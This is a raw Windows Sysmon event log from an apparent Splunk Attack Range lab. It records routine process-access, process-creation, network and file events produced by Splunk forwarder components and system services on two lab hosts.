15:02:32.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017091Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.581{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7388-613B-1505-00000000F101}372C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017090Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017089Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017088Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017087Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017086Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017085Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.581{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7388-613B-1505-00000000F101}372C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017084Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.582{625C326B-7388-613B-1505-00000000F101}372C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000053386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:29.200{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59645-false10.0.1.12-8089- 23542300x800000000000000053385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:32.087{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=E25EC93E407CA8208BF04924861D3A3C,SHA256=4DE365C174F2ACA6826C306385CA9442F8475F26EEA1E54A3DA2000165151952,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017083Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.346{625C326B-7388-613B-1405-00000000F101}6962672C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017082Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.081{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7388-613B-1405-00000000F101}696C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017081Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.081{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017080Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.081{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017079Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.081{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017078Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.081{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017077Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.081{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017076Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.081{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017075Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.081{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017074Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.081{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017073Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.081{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017072Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.081{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7388-613B-1405-00000000F101}696C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017071Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.081{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7388-613B-1405-00000000F101}696C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017070Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.082{625C326B-7388-613B-1405-00000000F101}696C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000017113Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.846{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7389-613B-1605-00000000F101}3732C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017112Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.846{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017111Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.846{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017110Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 